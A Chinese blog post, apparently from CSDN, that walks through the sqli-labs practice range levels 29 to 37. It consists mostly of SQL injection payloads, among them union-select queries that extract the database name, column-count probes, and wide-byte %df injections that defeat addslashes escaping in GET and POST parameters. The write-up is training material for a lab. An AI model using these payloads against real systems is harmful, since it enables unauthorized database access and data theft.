sqli-labs靶场通关(Less-29~37)

Less-29

  • 常规检查

    payload: 1'--+
    payload: 1' order by 3--+
    payload: -1' union select 1,2,3--+
    payload: -1' union select 1,database(),3--+
    

Less-30

  • 常规检查

    payload: 1"--+
    payload: 1" order by 3--+
    payload: -1" union select 1,2,3--+
    payload: -1" union select 1,database(),3--+
    

Less-31

  • 常规检查

    payload: 1")--+
    payload: 1") order by 3--+
    payload: -1") union select 1,2,3--+
    payload: -1") union select 1,database(),3--+
    

Less-32

使用preg_replace函数将 斜杠,单引号和双引号过滤了,尝试宽字节注入

  • 宽字节注入

    payload: -1%df' union select 1,database(),3 --+
    

Less-33

addslashes()函数所有的 ‘ (单引号), ” (双引号), (反斜线) and 空字符会自动转为含有反斜线的溢出字符。

payload: -1%df' union select 1,database(),3 --+

Less-34

addslashes()函数所有的 ‘ (单引号), ” (双引号), (反斜线) and 空字符会自动转为含有反斜线的溢出字符。

payload: uname=a%df' order by 2 #&passwd=a&submit=Submit
payload: uname=a%df' union select 1,database() #&passwd=a&submit=Submit

Less-35

此关使用addslashes()函数,无符号闭合,后续爆表爆字段时可以使用宽字节注入

payload: 1 order by 3
payload: -1 union select 1,database(),3

Less-36

payload: -1%df' union select 1,2,database()--+

Less-37

payload: uname=a%df' order by 2 #&passwd=a&submit=Submit
payload: uname=a%df' union select 1,database() #&passwd=a&submit=Submit
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值